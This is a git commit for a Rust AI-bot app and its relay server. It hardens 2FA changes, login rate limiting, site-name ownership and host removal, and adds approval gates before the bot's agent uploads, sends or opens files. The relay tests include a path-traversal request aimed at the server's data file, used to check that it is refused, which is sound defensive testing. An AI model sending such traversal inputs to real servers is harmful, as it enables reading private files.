Bug sweep: gates, relay 2FA, Windows input, snapshots, encodings

Permissions and reach
- a file leaving a computer passes the same questions as reading it;
  "looking" shell commands that do more than look ask first
- a symlink out of the work/sealed folder counts as outside it
  (real paths, not just lexical ones); the search walk skips links
- web_fetch and skill_install read the public web only: localhost, the
  LAN and cloud metadata are refused, at every redirect
- preview shows a file without running it; browser_upload may ask
- vault: logins no longer match across shared suffixes (pages.dev,
  com.tw, ...); registrable_domain knows public suffixes
- axwrite: found elements are retained (use-after-free)

Relay
- replacing or turning off 2FA needs the current code (rate-limited);
  new recovery codes only count once enrollment is verified
- a removed computer loses its socket and its `call` access
- a site name taken by another account answers 409
- RELAY_TRUST_PROXY: the login lock counts the caller's address, not
  the proxy's (compose files and README)
- httpd: half a body is not a request

Desktop
- sign-in, join and restore work with 2FA on (code field; --serve reads
  ANYBOT_ACCOUNT_CODE; the setup wizard points to a pairing code)
- Windows: text was typed twice; modifiers are held through click, drag
  and scroll; horizontal scroll; screen control is no longer refused
- a recording that hits the limit is transcribed, not thrown away
- bot's computer: a new home volume restores the snapshot; a snapshot
  is read through before the home is wiped; a failed volume removal
  stops reset/restore
- events of a stopped turn no longer land in the next one; each channel
  message gets a turn of its own
- saving a bot's settings keeps what it got meanwhile (three-way merge);
  a save file that cannot be read is kept
- pages in Big5/GBK/Shift_JIS are read in their own encoding
  (encoding_rs); osascript output past 64 KB no longer stalls
- pick_tab keeps a job's own non-http tab; pictures larger than the
  texture limit are fitted; the auto-update time field takes typing
- skills live in <data>/skills; memories are unnumbered in the prompt;
  the phone may skillify and skill_install

CI
- the test step fails when the tests fail (it piped into tail)

Tests: anybot 268 passed, 27 ignored; relay 16 passed; clippy unchanged.
Not run: Windows on a real machine (win.rs type-checked alone), the
Docker paths of the bot's computer, the live accessibility writes.

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
王性驊 2026-11-10 11:46:17 +08:00
parent cf1d4d618c
commit a514b33fb3
40 changed files with 2192 additions and 364 deletions

View File

@ -26,7 +26,11 @@ jobs:
- name: Build
run: cargo build --bin anybot
- name: Test
run: cargo test --bin anybot -- --skip live 2>&1 | tail -5
# The step fails when a test fails (piped straight into `tail`, its result was
# tail's: always a pass). The end of the log is shown either way.
run: |
cargo test --bin anybot -- --skip live > "${RUNNER_TEMP:-/tmp}/test.log" 2>&1 || { tail -n 80 "${RUNNER_TEMP:-/tmp}/test.log"; exit 1; }
tail -n 5 "${RUNNER_TEMP:-/tmp}/test.log"
- name: Clippy (report only)
run: cargo clippy --bin anybot 2>&1 | tail -30
- name: Relay build and test

View File

@ -25,7 +25,10 @@ jobs:
cargo build --release --bin anybot
cd relay && cargo build --release
- name: Test
run: cargo test --release --bin anybot -- --skip live 2>&1 | tail -3
# A failing test stops the release (piped straight into `tail`, it never did).
run: |
cargo test --release --bin anybot -- --skip live > "${RUNNER_TEMP:-/tmp}/test.log" 2>&1 || { tail -n 80 "${RUNNER_TEMP:-/tmp}/test.log"; exit 1; }
tail -n 3 "${RUNNER_TEMP:-/tmp}/test.log"
- name: Package
run: sh deploy/ci/package-linux.sh "${GITHUB_REF_NAME#v}"
- name: Upload

1
Cargo.lock generated
View File

@ -349,6 +349,7 @@ dependencies = [
"des",
"dirs",
"eframe",
"encoding_rs",
"flate2",
"futures-lite",
"hayro",

View File

@ -14,6 +14,8 @@ path = "src/main.rs"
zhconv = "0.4"
eframe = "0.37"
ureq = { version = "3", features = ["json"] }
# Web pages that are not UTF-8 (Big5, GBK, Shift_JIS…), read as what they say they are.
encoding_rs = "0.8"
# 長連線 to the account server (WebSocket over the same TLS ureq uses), and compressing what goes over it.
rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12", "logging"] }
# Which certificates the account server may show: the public ones (built in), plus the ones this

View File

@ -24,6 +24,10 @@ services:
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}"
# Caddy (or `tailscale serve`) is in front: the caller's address is the one it reports.
# Without this every login attempt counts as coming from the proxy, and a few wrong
# passwords from anyone lock that account for everyone.
RELAY_TRUST_PROXY: "1"
volumes:
- relay-data:/data
caddy:

View File

@ -14,8 +14,14 @@ cargo build --release 2>&1 | grep -E "^(error|warning)" -A7 || true
Xvfb :99 -screen 0 1400x900x24 >/dev/null 2>&1 &
export DISPLAY=:99 LANG=zh_TW.UTF-8
sleep 1
cargo test --release 2>&1 | grep -E "test result|FAILED|panicked"
cargo test --release x11_live -- --ignored 2>&1 | grep -E "test result|panicked"
# (A failing test stops here: piped straight into grep, the result was the one grep gave.)
run_tests() {
cargo test --release "$@" >/tmp/anybot-test.log 2>&1 && rc=0 || rc=$?
grep -E "test result|FAILED|panicked" /tmp/anybot-test.log || true
return $rc
}
run_tests
run_tests x11_live -- --ignored
useradd -m t 2>/dev/null; chmod 777 /out
runuser -u t -- env CARGO_TARGET_DIR=/target HOME=/home/t sh deploy/linux/dev/wayland_live.sh 2>&1 | sed -n "/--- wev heard/,\$p"
for v in chat computers general; do

View File

@ -24,6 +24,10 @@ services:
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
ANYBOT_RELAY_INVITE: "${ANYBOT_RELAY_INVITE:-}"
# Caddy (or `tailscale serve`) is in front: the caller's address is the one it reports.
# Without this every login attempt counts as coming from the proxy, and a few wrong
# passwords from anyone lock that account for everyone.
RELAY_TRUST_PROXY: "1"
volumes:
- relay-data:/data
caddy:

View File

@ -53,6 +53,7 @@ cd relay && cargo build --release
| `ANYBOT_RELAY_INVITE` | 第二個以後的帳號要填的邀請碼。空白表示不開放註冊 |
| `ANYBOT_RELAY_CONTACT` | 推播服務需要的聯絡方式,例如 `mailto:你@你的網域` 或 `https://你的網域` |
| `ANYBOT_RELAY_PUBLIC_URL` | 對外的網址,例如 `https://anybot.你的網域`。Bot 發布網站後,會拿這個組成網址告訴你 |
| `RELAY_TRUST_PROXY` | 前面有反向代理(Caddy、nginx、`tailscale serve`)時設成 `1`:登入失敗的鎖定會依代理回報的來源位址計算。沒設的話,所有人都算成代理的位址,任何人連續輸錯密碼就會把那個帳號鎖住。只有在外部連不到這個連接埠、只能經過代理時才設(附的 `docker-compose.yml` 已經設好) |
| `PORT` | 連接埠,預設 8080,也可以用 `--port` 指定 |
## 家裡的電腦加 Tailscale(不用網域)

View File

@ -10,6 +10,10 @@ services:
# Your public address (for the links of sites the bots publish), e.g. https://anybot.example.com
ANYBOT_RELAY_PUBLIC_URL: "${ANYBOT_RELAY_PUBLIC_URL:-}"
ANYBOT_RELAY_INVITE: ""
# Caddy is in front (nothing else reaches this container): the caller's address is the one
# Caddy reports. Without this every login attempt counts as coming from Caddy, and a few
# wrong passwords from anyone lock that account for everyone.
RELAY_TRUST_PROXY: "1"
volumes:
- relay-data:/data
caddy:

View File

@ -58,6 +58,10 @@ const ONLINE_SECS: u64 = 60;
/// Sessions last this long without use.
const SESSION_DAYS: i64 = 90;
const MAX_FAILS: u32 = 8;
/// Wrong-password counters kept at once (each a short key: an address and at most
/// FAIL_NAME_CHARS of the name).
const MAX_FAIL_KEYS: usize = 50_000;
const FAIL_NAME_CHARS: usize = 64;
#[derive(Clone, Serialize, Deserialize, Default)]
struct User {
@ -72,6 +76,10 @@ struct User {
/// sha256 of each unused recovery code (8 are handed out once, at enabling).
#[serde(default)]
recover: Vec<String>,
/// The recovery codes handed out with `totp_pending`: they take the place of `recover`
/// only when the new secret is proven.
#[serde(default)]
recover_pending: Vec<String>,
}
#[derive(Clone, Serialize, Deserialize, Default)]
@ -130,6 +138,9 @@ struct Data {
/// Phones that turned notifications on.
#[serde(default)]
subs: Vec<Sub>,
/// 發布網站: each published site's folder name → the account it belongs to.
#[serde(default)]
sites: HashMap<String, String>,
}
const SW: &str = r#"self.addEventListener("install", () => self.skipWaiting());
@ -301,6 +312,19 @@ impl Relay {
d.hosts.iter().find(|x| x.token_hash == h).cloned()
}
/// A host whose registration is gone: its open connection is told so and let go.
fn hang_up(&self, id: &str) {
if let Some(s) = self.sockets.lock().unwrap().remove(id) {
let _ = s.tx.send(wire::pack(&json!({"t": "bye"}), &[]));
}
}
/// This host is still one of an account's computers (its key was not replaced or removed
/// since it connected).
fn still_registered(&self, h: &Host) -> bool {
self.data.lock().unwrap().hosts.iter().any(|x| x.id == h.id && x.token_hash == h.token_hash)
}
fn online(&self, id: &str) -> bool {
self.sockets.lock().unwrap().contains_key(id) || self.seen.lock().unwrap().get(id).map(|t| t.elapsed().as_secs() < ONLINE_SECS).unwrap_or(false)
}
@ -312,6 +336,15 @@ impl Relay {
fn failed(&self, key: &str) {
let mut f = self.fails.lock().unwrap();
// Anyone can fail, under any name, without signing in: the table lets go of what is
// past its five minutes, and past the cap of everything (it only grew; with names of
// any length it was this server's memory for the asking).
if f.len() >= MAX_FAIL_KEYS {
f.retain(|_, (_, t)| t.elapsed() < Duration::from_secs(300));
if f.len() >= MAX_FAIL_KEYS {
f.clear();
}
}
let e = f.entry(key.to_string()).or_insert((0, Instant::now()));
if e.1.elapsed() > Duration::from_secs(300) {
*e = (0, Instant::now());
@ -519,6 +552,10 @@ impl Relay {
}
if marked.elapsed().as_secs() >= 10 {
marked = Instant::now();
// Taken off the account while connected: the connection ends here.
if !self.still_registered(&h) {
break;
}
self.seen.lock().unwrap().insert(h.id.clone(), Instant::now());
}
}
@ -582,7 +619,9 @@ impl Relay {
let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body));
return;
};
let same = self.data.lock().unwrap().hosts.iter().any(|x| x.id == to && x.user == h.user);
// (The asker too must still be one of the account's computers: `h` is who it
// was when it connected.)
let same = self.still_registered(h) && self.data.lock().unwrap().hosts.iter().any(|x| x.id == to && x.user == h.user);
if !same || to == h.id {
let a = Answer::error(403, "不是同一個帳號的電腦");
let _ = tx.send(wire::pack(&json!({"t": "ret", "id": id, "status": a.status, "ctype": a.ctype}), &a.body));
@ -748,7 +787,9 @@ impl Relay {
Resp::json(&json!({"code": code, "expires_in": PAIR_SECS}))
}
("POST", ["relay", "pair", "claim"]) => {
let key = format!("pair:{}", req.peer);
// (The real peer, like the login: behind the proxy every claim came from the
// proxy's address, and eight wrong codes from anyone stopped pairing for all.)
let key = format!("pair:{}", Self::peer_ip(&req));
if self.too_many_fails(&key) {
return Resp::error(429, "配對碼錯太多次,請 5 分鐘後再試");
}
@ -770,9 +811,18 @@ impl Relay {
}
("POST", ["relay", "hosts", id, "remove"]) => {
let Some(user) = self.session(&req) else { return Resp::error(401, "請先登入") };
let mut d = self.data.lock().unwrap();
d.hosts.retain(|x| !(x.user == user && x.id == *id));
self.save(&d);
let removed = {
let mut d = self.data.lock().unwrap();
let before = d.hosts.len();
d.hosts.retain(|x| !(x.user == user && x.id == *id));
self.save(&d);
before != d.hosts.len()
};
// Its open connection goes with it (a computer taken off the list — lost,
// sold — stayed connected, and kept asking the account's other computers).
if removed {
self.hang_up(id);
}
Resp::json(&json!({"ok": true}))
}
("GET", ["relay", "host", "next"]) => {
@ -839,8 +889,27 @@ impl Relay {
let site = format!("{}-{name}", h.user.replace(|c: char| !c.is_ascii_alphanumeric(), "-"));
let dir = self.dir.join("sites").join(&site);
let v = req.json();
let remove = v["remove"].as_bool() == Some(true);
// Two accounts can come to the same folder name (「a.b」 and 「a-b」; 「a」 with
// the site 「b-c」 and 「a-b」 with 「c」): the folder is the first one's, and the
// other is told — it used to replace (or delete) the first one's pages.
{
let mut d = self.data.lock().unwrap();
match d.sites.get(&site) {
Some(owner) if *owner != h.user => return Resp::error(409, "這個網站名稱和別的帳號的網站撞名了,請換一個名稱"),
Some(_) if remove => {
d.sites.remove(&site);
self.save(&d);
}
None if !remove => {
d.sites.insert(site.clone(), h.user.clone());
self.save(&d);
}
_ => {}
}
}
let _ = std::fs::remove_dir_all(&dir);
if v["remove"].as_bool() == Some(true) {
if remove {
return Resp::json(&json!({"ok": true}));
}
let mut n = 0;
@ -907,9 +976,7 @@ impl Relay {
self.save(&d);
}
// Its open connection is closed, so it hears "the key is gone" at once.
if let Some(s) = self.sockets.lock().unwrap().remove(&h.id) {
let _ = s.tx.send(wire::pack(&json!({"t": "bye"}), &[]));
}
self.hang_up(&h.id);
Resp::json(&json!({"ok": true}))
}
("PUT", ["relay", "backup"]) => {
@ -1014,11 +1081,8 @@ impl Relay {
// Rate-limit by the real peer. A client writes its own first X-Forwarded-For entry, so
// taking the first value lets anyone reset the counter by changing the header. Only when
// RELAY_TRUST_PROXY=1 (behind a reverse proxy) use the proxy's appended (last) entry.
let ip = match (std::env::var("RELAY_TRUST_PROXY").is_ok(), req.header("x-forwarded-for")) {
(true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().to_string(),
_ => req.peer.clone(),
};
let key = format!("{ip}|{user}");
let ip = Self::peer_ip(req);
let key = format!("{ip}|{}", user.chars().take(FAIL_NAME_CHARS).collect::<String>());
if self.too_many_fails(&key) {
return Resp::error(429, "密碼錯太多次,請 5 分鐘後再試");
}
@ -1056,7 +1120,8 @@ impl Relay {
fn peer_ip(req: &Req) -> String {
match (std::env::var("RELAY_TRUST_PROXY").is_ok(), req.header("x-forwarded-for")) {
(true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().to_string(),
// (Kept short: it is a key in the table of failures.)
(true, xff) if !xff.is_empty() => xff.rsplit(',').next().unwrap_or(xff).trim().chars().take(64).collect(),
_ => req.peer.clone(),
}
}
@ -1076,7 +1141,7 @@ impl Relay {
if made.elapsed() > Duration::from_secs(300) {
return Resp::error(400, "這次登入已過期,請重新輸入密碼");
}
let key = format!("2fa|{}|{user}", Self::peer_ip(req));
let key = format!("2fa|{}|{}", Self::peer_ip(req), user.chars().take(FAIL_NAME_CHARS).collect::<String>());
if self.too_many_fails(&key) {
return Resp::error(429, "驗證碼錯太多次,請 5 分鐘後再試");
}
@ -1115,11 +1180,31 @@ impl Relay {
}
if let Some(u) = d.users.iter_mut().find(|u| u.name == user) {
u.totp = std::mem::take(&mut u.totp_pending);
// The codes that came with this secret (an enrollment started by an older server
// put them in `recover` already).
if !u.recover_pending.is_empty() {
u.recover = std::mem::take(&mut u.recover_pending);
}
}
self.save(&d);
Resp::json(&json!({"ok": true}))
}
/// With 2FA on, changing or removing it takes the code of the authenticator that is on —
/// a session alone must not do it — and guessing that code is counted like a login's.
/// None: go on. Some: the refusal.
fn second_factor_proven(&self, user: &str, secret: &str, code: &str) -> Option<Resp> {
let key = format!("2fa-change|{}", user.chars().take(FAIL_NAME_CHARS).collect::<String>());
if self.too_many_fails(&key) {
return Some(Resp::error(429, "驗證碼錯太多次,請 5 分鐘後再試"));
}
if httpd::totp_check(secret, code.trim()) {
return None;
}
self.failed(&key);
Some(Resp::error(401, "驗證碼不對:輸入驗證器 App 上現在的那個六位數"))
}
/// Start 2FA: a new secret (the app scans the QR) and eight recovery codes, shown once,
/// stored hashed. 2FA is not on until verify_2fa has seen a real code.
fn enroll_2fa(&self, req: &Req) -> Resp {
@ -1128,8 +1213,21 @@ impl Relay {
let codes: Vec<String> = (0..8).map(|_| httpd::random_hex(5)).collect();
let mut d = self.data.lock().unwrap();
let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") };
// Already on: a new secret is a new second factor, so it takes the present one's code.
// (A session by itself — a phone left unlocked, a stolen token — could start over,
// prove its own new secret, and the account's owner was locked out of it. Starting
// over also threw the recovery codes away before anything was proven.)
if !u.totp.is_empty() {
let (current, code) = (u.totp.clone(), req.json()["code"].as_str().unwrap_or("").to_string());
drop(d);
if let Some(no) = self.second_factor_proven(&user, &current, &code) {
return no;
}
d = self.data.lock().unwrap();
}
let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") };
u.totp_pending = secret.clone();
u.recover = codes.iter().map(|c| httpd::sha256_hex(c)).collect();
u.recover_pending = codes.iter().map(|c| httpd::sha256_hex(c)).collect();
self.save(&d);
Resp::json(&json!({"secret": secret, "uri": httpd::totp_uri(&secret, &user), "recovery_codes": codes}))
}
@ -1143,12 +1241,17 @@ impl Relay {
if u.totp.is_empty() {
return Resp::json(&json!({"ok": true}));
}
if !httpd::totp_check(&u.totp, &code) {
return Resp::error(401, "驗證碼不對");
let current = u.totp.clone();
drop(d);
if let Some(no) = self.second_factor_proven(&user, &current, &code) {
return no;
}
let mut d = self.data.lock().unwrap();
let Some(u) = d.users.iter_mut().find(|u| u.name == user) else { return Resp::error(404, "帳號不存在") };
u.totp.clear();
u.totp_pending.clear();
u.recover.clear();
u.recover_pending.clear();
self.save(&d);
Resp::json(&json!({"ok": true}))
}
@ -1343,6 +1446,14 @@ mod tests {
assert!(v["uri"].as_str().unwrap().starts_with("otpauth://totp/AnyBot:d2?secret="));
assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": "000000"})).0, 401);
assert_eq!(post(port, "/relay/2fa/verify", &s, json!({"code": httpd::totp_code(&secret, step_now())})).0, 200);
// On: a session alone can't put another secret in its place (nor throw the recovery
// codes away by trying) — that takes the code of the one that is on.
assert_eq!(post(port, "/relay/2fa/enroll", &s, json!({})).0, 401);
assert_eq!(post(port, "/relay/2fa/enroll", &s, json!({"code": "000000"})).0, 401);
let (st, again) = post(port, "/relay/2fa/enroll", &s, json!({"code": httpd::totp_code(&secret, step_now())}));
assert_eq!(st, 200);
// …and until the new one is proven, the old secret and its recovery codes stand.
assert_ne!(again["secret"], json!(secret));
// Password alone no longer signs in: it buys a challenge, the code signs in.
post(port, "/relay/logout", &s, json!({}));
let (_, v) = post(port, "/relay/login", "", json!({"user": "d2", "password": "12345678", "device": "phone"}));
@ -1504,6 +1615,21 @@ mod tests {
assert_eq!(get(port, "/s/boss-trip/../../data.json", "").0, 404);
assert!(!dir.join("evil").exists() && !dir.join("sites").join("evil").exists());
assert_eq!(post(port, "/relay/host/sites/Bad_Name", &ht, json!({})).0, 400);
// Another account whose name and site come to the same folder (「boss-trip」): told
// so, and the first one's pages stay (it can't delete them either).
relay.data.lock().unwrap().users.push(User { name: "boss-trip".into(), pass: httpd::hash_password("12345678"), ..Default::default() });
let (other, other_key) = relay.add_host("boss-trip", "n");
assert_eq!(other.user, "boss-trip");
let (st, _) = post(port, "/relay/host/sites/x", &other_key, json!({"files": [{"path": "index.html", "data": b("mine")}]}));
assert_eq!(st, 200, "its own names are its own");
let (st, _) = post(port, "/relay/host/sites/trip-x", &ht, json!({"files": [{"path": "index.html", "data": b("taken over")}]}));
assert_eq!(st, 409, "boss + trip-x is boss-trip + x");
assert_eq!(post(port, "/relay/host/sites/trip-x", &ht, json!({"remove": true})).0, 409);
let mut r = agent.get(&format!("http://127.0.0.1:{port}/s/boss-trip-x/")).call().unwrap();
assert_eq!(r.body_mut().read_to_string().unwrap(), "mine");
// Its owner takes it down, and the name is free again.
assert_eq!(post(port, "/relay/host/sites/x", &other_key, json!({"remove": true})).0, 200);
assert_eq!(post(port, "/relay/host/sites/trip-x", &ht, json!({"files": [{"path": "index.html", "data": b("now mine")}]})).0, 200);
let _ = std::fs::remove_dir_all(&dir);
}
@ -1600,6 +1726,16 @@ mod tests {
assert_eq!(post(port, "/relay/host/remove", &mtoken, json!({})).0, 200);
let hosts: Value = serde_json::from_slice(&get(port, "/relay/host/peers", &btoken).1).unwrap();
assert_eq!(hosts["hosts"].as_array().map(|a| a.len()), Some(2));
// Taken off the list from the phone while it is connected: its connection is told to
// go, and what it still asks through it is refused.
let hands = relay.data.lock().unwrap().hosts.iter().find(|h| h.id == hid).cloned().unwrap();
let (wtx, wrx) = channel::<Vec<u8>>();
relay.sockets.lock().unwrap().insert(hid.clone(), Sock { tx: wtx, serial: 0 });
assert!(relay.still_registered(&hands));
assert_eq!(post(port, &format!("/relay/hosts/{hid}/remove"), &s, json!({})).0, 200);
assert!(!relay.sockets.lock().unwrap().contains_key(&hid));
assert_eq!(wire::unpack(&wrx.try_recv().unwrap()).unwrap().0["t"], "bye");
assert!(!relay.still_registered(&hands));
let _ = std::fs::remove_dir_all(&dir);
}
@ -1631,6 +1767,15 @@ mod tests {
.send(json!({"user": "boss", "password": "12345678"}).to_string().as_bytes())
.unwrap();
assert_eq!(rr.status().as_u16(), 429);
// The table of failures stays bounded, whatever names are tried and however long.
for i in 0..MAX_FAIL_KEYS + 10 {
relay.failed(&format!("203.0.113.9|nobody-{i}"));
}
assert!(relay.fails.lock().unwrap().len() <= MAX_FAIL_KEYS);
let long = "x".repeat(100_000);
let mut rr = agent.post(&format!("http://127.0.0.1:{port}/relay/login")).send(json!({"user": long, "password": "p"}).to_string().as_bytes()).unwrap();
let _ = rr.body_mut().read_to_string();
assert!(relay.fails.lock().unwrap().keys().all(|k| k.len() < 200));
let _ = std::fs::remove_dir_all(&dir);
}
}

View File

@ -1261,6 +1261,64 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
// …and neither does AnyBot's own browser (like the reference assistant's own browser).
let at = web::is_web_tool(&call.name).then(|| browser_place(&job, &call.name, &call.args));
if let Some((place, on)) = at.filter(|(place, _)| call.name == "web_fetch" || bots_browser(place, &call.name, &call.args)) {
// 上傳: a file of this computer on its way to a web page is read on the way,
// like one on its way into the chat (the bot's browser asks nothing else, and
// any file here could be put on any page). What the person attached for this
// bot goes as it is. The path is made whole here, so the browser takes the
// very file that was checked.
let mut call_args = call.args.clone();
if call.name == "browser_upload" && matches!(place, BrowserAt::Here) {
let path = tools::args_of(&call.args)["path"].as_str().unwrap_or("").to_string();
let here = job.computers.iter().find(|t| matches!(t.place, tools::Place::Local { .. })).cloned().unwrap_or_else(|| tools::Target {
name: crate::model::THIS_COMPUTER_NAME.into(),
// (Not one of this bot's computers: nothing on it is "inside".)
place: tools::Place::Local { workdir: std::env::temp_dir().join("anybot-no-work-folder") },
});
let named = match &here.place {
tools::Place::Local { workdir } => tools::resolve(workdir, &path),
_ => std::path::PathBuf::from(&path),
};
let direct = job.direct.load(Ordering::Relaxed);
let decision = if crate::attach::is_given(bot_id, &named) {
Decision::Allow
} else if job.local_locked {
Decision::Deny(format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能上傳「{}」上的檔案。", here.name))
} else {
match tools::decide_file_out(&here, &path, &grants) {
Decision::Allow if !direct && !(tools_on && local_on) => Decision::Ask { reason: format!("把「{}」上的檔案上傳到網頁:{}", here.name, named.display()), grant: String::new() },
Decision::Ask { .. } if direct => Decision::Allow,
Decision::Ask { grant, .. } => Decision::Ask { reason: format!("把工作資料夾以外的檔案上傳到網頁:{}", named.display()), grant },
d => d,
}
};
let refused = match decision {
Decision::Allow => None,
Decision::Deny(r) => Some(format!("被安全規則擋下:{r}")),
Decision::Ask { reason, grant } => {
let (atx, arx) = channel();
send(StreamEvent::ToolStatus(call.id.clone(), ToolStatus::Waiting));
send(StreamEvent::NeedApproval(Approval { call_id: call.id.clone(), tool: call.name.clone(), reason: format!("{reason}\n(在 {} 上)", here.name), grant, reply: atx, kind: ApprovalKind::Action }));
match wait_answer(arx, &cancel) {
ApprovalAnswer::Once => None,
ApprovalAnswer::Always(g) => {
keep_grant(&mut grants, g);
None
}
ApprovalAnswer::Reject => Some("使用者拒絕了這個操作。請不要再試同樣的操作,改問使用者想怎麼做。".to_string()),
}
}
};
if cancel.load(Ordering::Relaxed) {
return;
}
if let Some(output) = refused {
finish(&mut history, &output, ToolStatus::Denied, None);
continue;
}
let mut v = tools::args_of(&call.args);
v["path"] = serde_json::Value::String(named.display().to_string());
call_args = v.to_string();
}
started();
if call.name != "web_fetch" {
let profile = tools::args_of(&call.args).get("profile").and_then(|p| p.as_str()).unwrap_or("").trim().to_string();
@ -1272,7 +1330,7 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
}
// 裝置連結: the AnyBot browser of another computer (its own logins).
// (On this job's own tabs: another bot may be using the same browser.)
let args = with_job(&call.args, &browsers.job);
let args = with_job(&call_args, &browsers.job);
let (output, ok, img) = match place {
BrowserAt::Device(host) => match crate::remote::run_on_device(&host, &call.name, &args, &job.via_name) {
Ok(v) => (v["text"].as_str().unwrap_or("").to_string(), v["ok"].as_bool().unwrap_or(false), v["image"].as_str().map(String::from)),
@ -1356,6 +1414,50 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
finish(&mut history, &format!("已在使用者的訊息上按了 {emoji}。"), ToolStatus::Done, None);
continue;
}
// A file on its way out of a computer (into the chat, onto the person's screen) is
// read on the way: read_file's walls and read_file's questions, before either
// tool below touches it. Both used to run with no check but the secrets list.
// (A web address isn't a file.)
if call.name == "send_file" || call.name == "open_for_person" {
let path = tools::args_of(&call.args)["path"].as_str().unwrap_or("").to_string();
let web = call.name == "open_for_person" && (path.starts_with("http://") || path.starts_with("https://"));
if let (false, Ok(t)) = (web, target_for(&job, &call.args)) {
let direct = job.direct.load(Ordering::Relaxed);
let local = matches!(t.place, tools::Place::Local { .. });
let refused: Option<(String, ToolStatus)> = if local && job.local_locked {
Some((format!("「在這台電腦上執行」設成了永不允許(或被管理員關閉),不能拿「{}」上的檔案。請改用「{}」。", t.name, job.roles.own), ToolStatus::Denied))
} else {
let decision = match tools::decide_file_out(&t, &path, &grants) {
// Using this computer is switched off: its files are asked for one by one.
Decision::Allow if local && !direct && !(tools_on && local_on) => {
Decision::Ask { reason: format!("{}「{}」上的檔案:{what}", if call.name == "send_file" { "把檔案傳到聊天,來自" } else { "在你的螢幕上打開" }, t.name), grant: String::new() }
}
// 直接操作 goes ahead where reading the file would.
Decision::Ask { .. } if direct => Decision::Allow,
d => d,
};
match decision {
Decision::Allow => None,
Decision::Deny(r) => Some((format!("被安全規則擋下:{r}"), ToolStatus::Denied)),
Decision::Ask { reason, grant } => match ask_person(ApprovalKind::Action, format!("{reason}\n(在 {} 上)", t.name), grant) {
ApprovalAnswer::Once => None,
ApprovalAnswer::Always(g) => {
keep_grant(&mut grants, g);
None
}
ApprovalAnswer::Reject => Some(("使用者拒絕了這個操作。請不要再試同樣的操作,改問使用者想怎麼做。".to_string(), ToolStatus::Denied)),
},
}
};
if cancel.load(Ordering::Relaxed) {
return;
}
if let Some((output, status)) = refused {
finish(&mut history, &output, status, None);
continue;
}
}
}
// 傳檔案: put a file the bot made into the chat as a card the person can open.
if call.name == "send_file" {
started();
@ -1405,6 +1507,7 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
started();
let v = tools::args_of(&call.args);
let path = v["path"].as_str().unwrap_or("").to_string();
let web = path.starts_with("http://") || path.starts_with("https://");
let on_box = match target_for(&job, &call.args) {
Ok(t) => match t.place {
tools::Place::Box { dir } => Some(if path.starts_with('/') { path.clone() } else { format!("{dir}/{path}") }),
@ -1420,7 +1523,6 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
_ => None,
});
if job.roles.server {
let web = path.starts_with("http://") || path.starts_with("https://");
let (output, ok) = match (&person_host, web) {
(Some(host), true) => match crate::remote::run_on_device(host, "browser_open", &serde_json::json!({"url": path}).to_string(), &job.via_name) {
Ok(v) => (format!("[{}] {}", person_now.clone().unwrap_or_default(), v["text"].as_str().unwrap_or("")), v["ok"].as_bool().unwrap_or(false)),
@ -1433,14 +1535,25 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
continue;
}
let local = match (&on_box, target_for(&job, &call.args)) {
// A web address is the same address on every computer. (It came after the
// file cases, which turned it into a path inside the work folder.)
_ if web => Ok(std::path::PathBuf::from(&path)),
(Some(p), _) => crate::cloudbox::copy_out(p),
(None, Ok(tools::Target { place: tools::Place::Sealed { root }, .. })) => Ok(tools::resolve(&root, &path)),
(None, Ok(tools::Target { place: tools::Place::Local { workdir }, .. })) => Ok(tools::resolve(&workdir, &path)),
(None, _) if path.starts_with("http://") || path.starts_with("https://") => Ok(std::path::PathBuf::from(&path)),
_ => Err(format!("這台電腦上的檔案不能直接打開給使用者看,請先複製到「{}」或這台電腦。", job.roles.own)),
};
// Secrets never open on the person's screen either.
let local = local.and_then(|p| if tools::is_ignored(&p) || tools::is_ignored(std::path::Path::new(&path)) { Err("這個檔案是機密的,不能打開。".to_string()) } else { Ok(p) });
// Showing is not running: a script or an app would start on the person's
// computer, outside every sandbox, the moment it is opened.
let local = local.and_then(|p| {
if !web && crate::preview::runs_when_opened(&p) {
Err("這是程式或指令檔,打開就會在使用者的電腦上執行,所以不能用 open_for_person 打開。要給使用者看內容,用 send_file 傳到聊天裡。".to_string())
} else {
Ok(p)
}
});
let (output, ok) = match local {
Ok(p) if p.exists() || path.starts_with("http") => match crate::preview::system_open(&p).status() {
Ok(st) if st.success() => (format!("已在使用者的螢幕上打開 {}。", p.display()), true),
@ -1478,9 +1591,27 @@ pub fn spawn(job: Job, bot_id: u64, tx: Sender<(u64, StreamEvent)>, cancel: Arc<
let path = v["path"].as_str().unwrap_or("").to_string();
let name = v["name"].as_str().unwrap_or("").trim().to_lowercase();
let grant = format!("publish:{name}");
let mut allowed = grants.contains(&grant);
// What goes on the public web is read first, with read_file's walls: a
// secret never, a sealed bot nothing outside its folder. 「一律允許」 is for a
// site made in the work folder; from anywhere else (it used to cover any
// folder on the computer) the person is asked each time.
let walls = match target_for(&job, &call.args) {
Ok(t) if matches!(t.place, tools::Place::Local { .. }) && job.local_locked => {
